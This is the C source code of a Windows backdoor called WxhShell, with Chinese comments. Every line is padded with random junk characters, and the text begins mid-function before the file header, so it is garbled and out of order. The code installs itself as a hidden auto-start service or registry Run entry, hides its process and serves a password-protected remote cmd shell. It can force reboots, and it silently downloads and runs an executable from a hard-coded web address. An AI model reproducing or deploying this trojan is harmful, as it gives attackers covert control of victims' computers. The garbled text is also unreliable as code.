    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W2T6JFv  
    if(Boot(SHUTDOWN)) c01i !XS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lXOT>$qR<  
    else { s>c0K@ADO  
    closesocket(wsh); EUjA-L(  
    ExitThread(0); ()o[(Hx+ph  
    } ;<N%D=;}@  
    break; T3,}CK#O   
    } S\R5SRE  
  // 获取shell RAB'%CY4  
  case 's': {  /wT<p  
    CmdShell(wsh); _(:<l Y aY  
    closesocket(wsh); 0I['UL^!F  
    ExitThread(0); ,jq:%Y[KZ  
    break; SI, t:=D  
  } 2wwJ>iR`  
  // 退出 FL E3LH  
  case 'x': { W*r1Sy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gAr=fq-|  
    CloseIt(wsh); 2uLBk<m5c  
    break; 7(l>Ck3B#  
    } oe<DP7e  
  // 离开 9 :,ZG4s  
  case 'q': { nZ % %{#T7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <rxtdI"3  
    closesocket(wsh); i|[**P  
    WSACleanup();  L30$  
    exit(1); MFQyB+Z  
    break; %U6A"?To  
        } |8?e4yVd  
  } 6{!Cx9V  
  } 3 #"!Hg  
i2+_~$f  
  // 提示信息 "p]!="\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @Yn+ir0>O  
} K5!OvqzG  
  } '<{Jlz(u9  
gY!?JZC-0  
  return;  h@PE:=  
} jN-!1O._G  
gI!d*]{BP  
// shell模块句柄 CaC \\5wl  
int CmdShell(SOCKET sock) ?Wc+ J4  
{ 0D Lw  
STARTUPINFO si; /@B2-.w  
ZeroMemory(&si,sizeof(si)); 25 cJA4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \FIM'EKzu!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0S96x}]J B  
PROCESS_INFORMATION ProcessInfo; Fw:_O2  
char cmdline[]="cmd"; BA[ uO3\4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WLA&K]  
  return 0; %JgdLnQE  
} ;;6$d{  
Gt)ij?~  
// 自身启动模式 F ^Bk  @  
int StartFromService(void) !_FTy^@c2  
{ .yDGwLry  
typedef struct HX)]@qL  
{ =X9fn  
  DWORD ExitStatus; ZZL@UO>:  
  DWORD PebBaseAddress;  AGm=0Om  
  DWORD AffinityMask; 2Z5_@Y  
  DWORD BasePriority; !nq`Py MR  
  ULONG UniqueProcessId; E*h!{)z@F  
  ULONG InheritedFromUniqueProcessId; Xmi~fie  
}   PROCESS_BASIC_INFORMATION; !C h1q  
G<* Iw>ep  
PROCNTQSIP NtQueryInformationProcess; OE}FZCX F  
zk"8mTg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y+Hz(}4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =Z{jc  
k>\v]&|T`  
  HANDLE             hProcess; mz+UkA'  
  PROCESS_BASIC_INFORMATION pbi; T@*'}*  
Oxa8ue?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ``eam8Az_U  
  if(NULL == hInst ) return 0; z1]nC]2  
:Nv7Wt!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Oet+$ b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K yyVO"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <_ENC>NP  
M>[ A  
  if (!NtQueryInformationProcess) return 0; #lg R"%  
7BL)FJ]UR]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y SB=n d_  
  if(!hProcess) return 0; JXMH7  
%<x! mE x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H%XF~tF:  
~\AF\n%  
  CloseHandle(hProcess); :o .+<_ &  
JSi0-S[Y{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +'-.c"  
if(hProcess==NULL) return 0; |35OA/O?X  
hl7 z1h  
HMODULE hMod; NPS*0y/  
char procName[255]; atF#0*e>  
unsigned long cbNeeded; B~7!v${  
]d-.Mw,'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '5 ~cd  
PCHspe9!y  
  CloseHandle(hProcess); 6o7t eX  
o.Rv<a5.L  
if(strstr(procName,"services")) return 1; // 以服务启动 4l%1D.3-O  
>Rd~-w)!|  
  return 0; // 注册表启动 W.?/p~  
} e1LIk1`p  
pITF%J@_]  
// 主模块 R6O v  
int StartWxhshell(LPSTR lpCmdLine) j7gw?,  
{ C[G+SA1&W  
  SOCKET wsl; 3_Xu3hNH!  
BOOL val=TRUE; gWGDm~+  
  int port=0; Cp mT *  
  struct sockaddr_in door; @;tfHoXD  
&.\7='$F  
  if(wscfg.ws_autoins) Install(); jt on\9  
)/%5f{+}  
port=atoi(lpCmdLine); ft6)n T/"&  
j *G: 8Lg  
if(port<=0) port=wscfg.ws_port; DJL.P6-W  
ur\6~'l4  
  WSADATA data; 7>__ fQu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^0}ma*gi~  
xBVOIc[4(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #~|k EGt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )6C+0b*  
  door.sin_family = AF_INET; KU/r"lMNlU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #BUq;5  
  door.sin_port = htons(port); ,UMr_ e{|  
|(z{)yWbC[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %S^hqC  
closesocket(wsl); w}>%E6UY  
return 1; j#n ]q{s4  
} _|#abLh%  
*9EwZwE_K  
  if(listen(wsl,2) == INVALID_SOCKET) { 6iyl8uL0J  
closesocket(wsl); dZ`Y>wH_  
return 1; <|}Z6Ti  
} |l; Ot=C=  
  Wxhshell(wsl); {r&mNbz  
  WSACleanup(); j2MA['{  
2{rWAPHgz  
return 0; z3tx]Ade  
q!z"YpYB  
} DWt|lO  
x|rc[e%k  
// 以NT服务方式启动 '^m.vS!/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a|7C6#iz$  
{ _YF>Y=D-  
DWORD   status = 0; /grTOf&  
  DWORD   specificError = 0xfffffff; @*YF!LdU{M  
i< ^X z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M%S7cIX ]F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :2? g_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xpR`fq  
  serviceStatus.dwWin32ExitCode     = 0; o8g7wM]M  
  serviceStatus.dwServiceSpecificExitCode = 0; +#FqC/`l  
  serviceStatus.dwCheckPoint       = 0; ; j!dbT~5  
  serviceStatus.dwWaitHint       = 0;  ##rkyd  
ZbYC3_7w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); } {1IB  
  if (hServiceStatusHandle==0) return; t`Z'TqP R  
Fc5.?X-  
status = GetLastError(); P8z%*/ 3NF  
  if (status!=NO_ERROR) J?8Mo=UZz  
{ #DUfEZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _re# b?  
    serviceStatus.dwCheckPoint       = 0; &>JP.//spi  
    serviceStatus.dwWaitHint       = 0; mJUM#ry  
    serviceStatus.dwWin32ExitCode     = status; %F 2h C x  
    serviceStatus.dwServiceSpecificExitCode = specificError; b)d;eS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'C'mgEl%L  
    return; |4df)  
  } {=Zy;Er  
[CJ<$R !  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5kiW@{m  
  serviceStatus.dwCheckPoint       = 0; #r'MfTr  
  serviceStatus.dwWaitHint       = 0; >C|pY6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9J3fiA_  
} vjS`;^9  
W8d-4')|  
// 处理NT服务事件,比如:启动、停止 eYUb>M)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k1wIb']m]z  
{ 4?R979  
switch(fdwControl) #Z%" ?RJ  
{ lfgJQzi G  
case SERVICE_CONTROL_STOP: m/=nz.  
  serviceStatus.dwWin32ExitCode = 0; :$k*y%Z*N&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oYqH l1cs  
  serviceStatus.dwCheckPoint   = 0; 7f>=-sv  
  serviceStatus.dwWaitHint     = 0; _SBbd9  
  { E5ce=$o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uM2@&)u  
  } F/oqYk9`  
  return; E 2n z  
case SERVICE_CONTROL_PAUSE: 6 VEB2F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /v 8"i^;}  
  break; *Al@|5  
case SERVICE_CONTROL_CONTINUE: I"Zp^j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N"70P/  
  break; M"3"6U/e  
case SERVICE_CONTROL_INTERROGATE: FNQ<k[#K'~  
  break; (/]'e}  
}; Y(PCc}/\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i7Qb~RW  
} #3&@FzD_P  
W==~ 9  
// 标准应用程序主函数 #V>R#Oh}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `2.c=,S{  
{ oZBD.s  
eEZgG=s  
// 获取操作系统版本 *[si!e%  
OsIsNt=GetOsVer(); mnpk9x}m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $bTtD<a  
:q9!  
  // 从命令行安装 2k.VTGak  
  if(strpbrk(lpCmdLine,"iI")) Install(); _T\~%  
`ASDUgx Mq  
  // 下载执行文件 '_c/CNs  
if(wscfg.ws_downexe) { kdNo<x1o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9j 2t|D4uT  
  WinExec(wscfg.ws_filenam,SW_HIDE); v=llg ^  
} '`jGr+K,wU  
& zDuh[j}  
if(!OsIsNt) { xM jn=\}  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ta?J;&<u]/  
HideProc(); dFz"wvu` o  
StartWxhshell(lpCmdLine); z CLaHx!  
} *'Yy@T8M  
else VF?H0}YSHb  
  if(StartFromService()) b| L;*<KU  
  // 以服务方式启动 uxfh?gsL  
  StartServiceCtrlDispatcher(DispatchTable); o~LJ+m6-)  
else d( v"{N}  
  // 普通方式启动 SXL3>-Z E  
  StartWxhshell(lpCmdLine); :c*"Dx'D  
JxVGzb`8  
return 0; MPB[~#:  
} /oPW0of  
7H Har'=T  
Sdq}?-&Sa  
3ahriZe  
=========================================== #NM)  
a#p+.)Wm  
zx#Gm=H4  
l(>6Yq  
](r}`u%}y  
A]BeI  
" ZLQmEF[>  
DGvuo 8  
#include <stdio.h> 7By7F:[b  
#include <string.h> o5Oig  
#include <windows.h> owNwj  
#include <winsock2.h> x1gS^9MqCB  
#include <winsvc.h> J9T2 p\5  
#include <urlmon.h> /M2in]oH  
45yP {+/-Q  
#pragma comment (lib, "Ws2_32.lib") p $Tk;;wm  
#pragma comment (lib, "urlmon.lib") =R5W KX  
#cY[c1cNv  
#define MAX_USER   100 // 最大客户端连接数 Y:\msq1xp  
#define BUF_SOCK   200 // sock buffer 4=,J@N-  
#define KEY_BUFF   255 // 输入 buffer :2/L1A)O  
/H'- }C  
#define REBOOT     0   // 重启 j^jC|  
#define SHUTDOWN   1   // 关机 oG,>Pk  
l,@>J9}Se  
#define DEF_PORT   5000 // 监听端口 <'\Nv._2a  
Jn hdZa  
#define REG_LEN     16   // 注册表键长度 $0Y`> 3  
#define SVC_LEN     80   // NT服务名长度 f`qy~M&  
S1=P-Ao  
// 从dll定义API *BKD5EwS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S#ryEgc]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jh+;+"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hDXTC_^s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {6u)EJ  
{a[BhK'g  
// wxhshell配置信息 >DRxF5b{  
struct WSCFG { Fyvo;1a  
  int ws_port;         // 监听端口 lT[,w9$  
  char ws_passstr[REG_LEN]; // 口令 wUvE  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6mcb'hy  
  char ws_regname[REG_LEN]; // 注册表键名 H; `F}qQ3  
  char ws_svcname[REG_LEN]; // 服务名 Yc#Uu8f-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p[4 +`8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #Y= A#Yz,{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2|k$Vfz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =1[_#Moc6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "ku[b\W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Jt$YSp=!!  
5AT^puL]]  
}; ?8 }pZ_j  
XL*M#Jx  
// default Wxhshell configuration W*LC3B^  
struct WSCFG wscfg={DEF_PORT, @!iS`u  
    "xuhuanlingzhe", J`g5Qn @S  
    1, 21!X[) r  
    "Wxhshell", QGNKQ`~  
    "Wxhshell", 2P:X_:`~[  
            "WxhShell Service", 0YoKSo  
    "Wrsky Windows CmdShell Service", [P}Bq6;p  
    "Please Input Your Password: ", Mmz; uy_  
  1, *k(FbZ  
  "http://www.wrsky.com/wxhshell.exe", 7nPg2K&  
  "Wxhshell.exe" 1ZF KLI`V  
    }; 2*snMA  
72$S'O%,0  
// 消息定义模块 RZW=z}T+H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |k~AGc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hT^&*}G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &l cfX\y  
char *msg_ws_ext="\n\rExit."; eX\v;~W*  
char *msg_ws_end="\n\rQuit."; r2:{r`ocM  
char *msg_ws_boot="\n\rReboot..."; M[I=N  
char *msg_ws_poff="\n\rShutdown..."; mX|M]^_,z  
char *msg_ws_down="\n\rSave to "; ]O;*Y{:Y  
:[@rA;L  
char *msg_ws_err="\n\rErr!"; La6 9or   
char *msg_ws_ok="\n\rOK!"; xR-;,=J  
X !h>13fW  
char ExeFile[MAX_PATH]; RrxbsG1HP  
int nUser = 0; K2*rqg  
HANDLE handles[MAX_USER]; NioqJG?p  
int OsIsNt; u""26k51  
`NhG|g  
SERVICE_STATUS       serviceStatus; R.i ]6H!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OK4r)  
/@ em E0  
// 函数声明 M? 8sy  
int Install(void); =b66H]h?  
int Uninstall(void); &Sb)a  
int DownloadFile(char *sURL, SOCKET wsh); 1{/Cr K/o  
int Boot(int flag); [%^0L~:  
void HideProc(void); ((Av3{05H&  
int GetOsVer(void); IS" [<  
int Wxhshell(SOCKET wsl); {zZ)JWM<w  
void TalkWithClient(void *cs); (PE.v1T  
int CmdShell(SOCKET sock); NtGJpT4YX  
int StartFromService(void); \i?bt0bM  
int StartWxhshell(LPSTR lpCmdLine); pku\)  
S\ak(<X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a6zWg7 PN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j![1  
kmW/{I9,ua  
// 数据结构和表定义 `[$>S  
SERVICE_TABLE_ENTRY DispatchTable[] = N?c~AEk9U  
{ (J4( Ge  
{wscfg.ws_svcname, NTServiceMain}, J#:`'eEG  
{NULL, NULL} }\m.~$|[  
}; ku/vV+&O  
m>Z3p7!N}  
// 自我安装 8'E7Uj  
int Install(void) K!AA4!eUzM  
{ ~_0XG0oA  
  char svExeFile[MAX_PATH]; <c5g-*V:  
  HKEY key; fhn$~8[_A  
  strcpy(svExeFile,ExeFile); R{[v#sF >#  
CE{2\0Q  
// 如果是win9x系统,修改注册表设为自启动 cGs& Kn;h  
if(!OsIsNt) { 5(2 C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m2~`EL>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AaU!a  
  RegCloseKey(key); TP| ogF?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 43g1/,klm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KtJc9dnX  
  RegCloseKey(key); ^f N/  
  return 0; `_.:O,^n^  
    } @ o<O I  
  } 63'% +  
} _9"ZMUZ{  
else { ]2ab~ gr  
PDH|=meXM  
// 如果是NT以上系统,安装为系统服务 SnX)&>B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [T9]q8"  
if (schSCManager!=0) ^r<l#D,  
{ V:t{mu5j  
  SC_HANDLE schService = CreateService [xb'73  
  ( [OPF3W3z  
  schSCManager, ~233{vh$=>  
  wscfg.ws_svcname, Jj0:p"  
  wscfg.ws_svcdisp, )l(DtU!E  
  SERVICE_ALL_ACCESS, @:Ft+*2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U:@tdH+A7  
  SERVICE_AUTO_START, ~("bpS#ZgD  
  SERVICE_ERROR_NORMAL, j"Ew)6j  
  svExeFile, 2zbn8tO  
  NULL, K[?@nl?,z  
  NULL, M%$ITE  
  NULL, O9<oq  
  NULL, a".iVf6y  
  NULL E:uTjXt  
  ); iZ/iMDfC  
  if (schService!=0) eu]qgtg~U  
  { N_FjEZpX  
  CloseServiceHandle(schService); M<= e~';H  
  CloseServiceHandle(schSCManager); f`rI]v|@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RH7!3ye  
  strcat(svExeFile,wscfg.ws_svcname); 6~>h;wC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '"c`[L7Wn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tCRsaDK>  
  RegCloseKey(key); \R-'<kN.*  
  return 0; ttB>PTg#  
    } F.@|-wq&  
  } X$~T*l0  
  CloseServiceHandle(schSCManager); 9GT}_ ^fb  
} e\-,e+  
} C%ZPWOc_8  
j,9/eZRZ  
return 1; (7&b)"y  
} 6#qt%t%?D  
&Cm]*$?  
// 自我卸载 WlW%z(RC  
int Uninstall(void) 0N]\f.=`  
{ j B1ZF#  
  HKEY key; Lr d-  
TI2K_'  
if(!OsIsNt) { {61Y;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sk:B; .z  
  RegDeleteValue(key,wscfg.ws_regname); Vo.~1^  
  RegCloseKey(key); ,_<|e\>~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'R- g:X\{  
  RegDeleteValue(key,wscfg.ws_regname); OTAe#]#  
  RegCloseKey(key); Eg}U.ss^  
  return 0; /2*Bd E[yG  
  } P1^|r}  
} Wl+spWqW  
} ^wwS`vPb  
else { V[Sj+&e&  
1U^KN~!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XWNo)#_3  
if (schSCManager!=0) JvP>[vb  
{ 0r i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MZWv#;.]  
  if (schService!=0) (u='&ka  
  { D#`>p  
  if(DeleteService(schService)!=0) { nz#eJ  
  CloseServiceHandle(schService); l,3,$  
  CloseServiceHandle(schSCManager); oIj -Y`92!  
  return 0; mb%U~Na  
  } %]4=D)Om  
  CloseServiceHandle(schService); u]`0QxvZ  
  } 9d( M%F  
  CloseServiceHandle(schSCManager); xsy45az<ip  
} m],.w M8  
} b5KK0Jjk  
f#7=N{wm  
return 1; >#gDk K  
} gNDMJ^`  
4M6[5RAW{  
// 从指定url下载文件 z[O*f#t  
int DownloadFile(char *sURL, SOCKET wsh) JBZ1DZAWC  
{ 0jPUDkH*  
  HRESULT hr; voTP,R[}85  
char seps[]= "/"; *DZ7,$LQ~D  
char *token; |b^UPrz)VS  
char *file; a<E9@  
char myURL[MAX_PATH]; tTub W=H  
char myFILE[MAX_PATH]; e"{"g[b/7  
agkKm?xIL  
strcpy(myURL,sURL); _ yDDPuAi  
  token=strtok(myURL,seps); =w"Kkj>%oh  
  while(token!=NULL) ]$s b<o .a  
  { 3)2{c  
    file=token; :)T*:51{#  
  token=strtok(NULL,seps); O,v C:av  
  } hsYE&Np_Q  
c9c3o{(6Y  
GetCurrentDirectory(MAX_PATH,myFILE); TiG?r$6v%  
strcat(myFILE, "\\"); BpX`49  
strcat(myFILE, file); 0@y`iZ] 1S  
  send(wsh,myFILE,strlen(myFILE),0); ~_F;>N~  
send(wsh,"...",3,0); &@BAVc z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EwuRIe;D  
  if(hr==S_OK) $<&_9T#&w  
return 0; \i}-Y[Dg  
else x ju*zmu  
return 1; [?qzMFb  
19pFNg'kA  
} ^Oeixi@f  
Br42Qo2"T>  
// 系统电源模块 utl-#Wwt/  
int Boot(int flag) :O,r3O6  
{ bKzG5|Qu  
  HANDLE hToken; ;O{bF8 U  
  TOKEN_PRIVILEGES tkp; /`nkz  
'$'a .q1q9  
  if(OsIsNt) { "O|.e`C%^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FZZO-,xa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L%<]gJtrO  
    tkp.PrivilegeCount = 1; %B1)mA;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EE`[J0 (  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XZ3fWcw[  
if(flag==REBOOT) { V8&'dhuG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q bCU&G|)  
  return 0; R?/xH=u>  
} h|`R[  
else { ]\oT({$6B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v,z~#$T&  
  return 0; +{m+aHk  
} SD:`l<l  
  } x*=m'IM[  
  else { J P5en  
if(flag==REBOOT) { Sl'$w4s   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a\oz-`ESa  
  return 0; gy~2LY!}  
} )PYh./_2  
else { `L[q`r7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fkImX:|q  
  return 0; \.p; 4V&  
} i_*.  
} e>.^RtDF  
],~[^0  
return 1; 9V&+xbR&  
} 2QEH!)lvr  
DHuvHK0#  
// win9x进程隐藏模块 SDNRcSbOD6  
void HideProc(void) 5K682+^5  
{ 'irwecd8  
Bt5 P][<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rnp; R  
  if ( hKernel != NULL ) Nh/i'q/  
  { >,'guaa  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )'e1@CR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :hW(2=%  
    FreeLibrary(hKernel); "UhE'\()  
  } +]NpcE'  
1OMaY5F  
return; 2G!z/OAj  
} X&5N 89  
!7Qj8YmS  
// 获取操作系统版本 &DHIYj1 i  
int GetOsVer(void) a}|<*!4zUQ  
{ z8%qCq  
  OSVERSIONINFO winfo; bi+g=cS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %6^nb'l'C  
  GetVersionEx(&winfo); lcy+2)+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #f_'&m  
  return 1; ZGI<L  
  else ) R5j?6}xF  
  return 0; ]q[(z  
} w9RBT(u  
uTPAf^|  
// 客户端句柄模块 !+z^VcV  
int Wxhshell(SOCKET wsl) a.JjbFL  
{ CyHHV  
  SOCKET wsh; p1i}fGS  
  struct sockaddr_in client; 3XQe? 2:<  
  DWORD myID; -e_TJA  
fk X86  
  while(nUser<MAX_USER) 0kls/^0,  
{ (JnEso-V  
  int nSize=sizeof(client); }Y!s:w#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m$(OQ,E  
  if(wsh==INVALID_SOCKET) return 1; E]g6|,4~-  
@p^EXc*|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _5(p=Zc  
if(handles[nUser]==0) _y>drvg  
  closesocket(wsh); #Z `Tk)u/  
else ~UQ<8`@a  
  nUser++; 99By.+~pX  
  } O7LJ-M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 77aUuP7Iw  
(4yXr|to}  
  return 0; 3B,dL|q(@J  
} &2 *  
6@FhDj2X  
// 关闭 socket "iX\U'`  
void CloseIt(SOCKET wsh) K^tc]ZQ  
{ wxj}k7_(`A  
closesocket(wsh); DrAIQ7Jd  
nUser--; "-MB U  
ExitThread(0); 4oryTckS  
} gM]E8%;{  
/n>vPJvz  
// 客户端请求句柄 1uG)U)y/Q  
void TalkWithClient(void *cs) 1tiOf~)  
{ Y$c7uA:4  
KC2Z@  
  SOCKET wsh=(SOCKET)cs; /0|1xHs  
  char pwd[SVC_LEN]; -wl&~}%M  
  char cmd[KEY_BUFF]; V:P]Ved  
char chr[1]; ./0wt+  
int i,j; "zTy_0[;  
hy%5LV<(  
  while (nUser < MAX_USER) { N `fFYO  
u(f;4`  
if(wscfg.ws_passstr) { QXL .4r%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i`];xNR'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZPq.|6&  
  //ZeroMemory(pwd,KEY_BUFF); y\-iGKz{0  
      i=0; F9% +7Op^  
  while(i<SVC_LEN) { ohJDu{V  
y x#ub-A8  
  // 设置超时 $9X?LGUz  
  fd_set FdRead; $""k Z  
  struct timeval TimeOut; NYG!\u\Rm  
  FD_ZERO(&FdRead); <6,,:=#  
  FD_SET(wsh,&FdRead); X !0 7QKs  
  TimeOut.tv_sec=8; 6o9&FU  
  TimeOut.tv_usec=0; wS&D-!8v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dvZlkMm   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Fi;OZ>;a  
3#]IIj`\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F!/-2u5gF  
  pwd=chr[0]; @H+L1H%9n  
  if(chr[0]==0xd || chr[0]==0xa) { 7j&EQm5\9  
  pwd=0; 2g?q4e,  
  break; NW3qs`$-(  
  } R-OO1~W=  
  i++; !io1~GpKS  
    } J:ka@2>|  
r#& JfAo  
  // 如果是非法用户,关闭 socket ~ QohP`_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h#Z,ud_  
} ?K2}<H-  
ONy\/lu|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c$BH`" <*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dr=$}Y  
XD0a :T)  
while(1) { 1-PlRQs.1  
4(oU88 z  
  ZeroMemory(cmd,KEY_BUFF); `{ HWk^  
-%%Xx5D  
      // 自动支持客户端 telnet标准   WQiRbbX  
  j=0; pYr+n9)^  
  while(j<KEY_BUFF) { j;z7T;!i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oqh J2  
  cmd[j]=chr[0]; N81M9#,["~  
  if(chr[0]==0xa || chr[0]==0xd) { $_TS]~y4}  
  cmd[j]=0; 4E2/?3D  
  break; !]D`|HoW  
  } RjO0*$>h  
  j++; jV%=YapF  
    } +TaxH;  
%0/qb0N&  
  // 下载文件 Q 3^h  
  if(strstr(cmd,"http://")) { TBO g.y]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J` gG`?  
  if(DownloadFile(cmd,wsh)) mf{M-(6'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y06**f)  
  else /BQqg0 8@L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |mRlP5  
  } Ml{ ]{n  
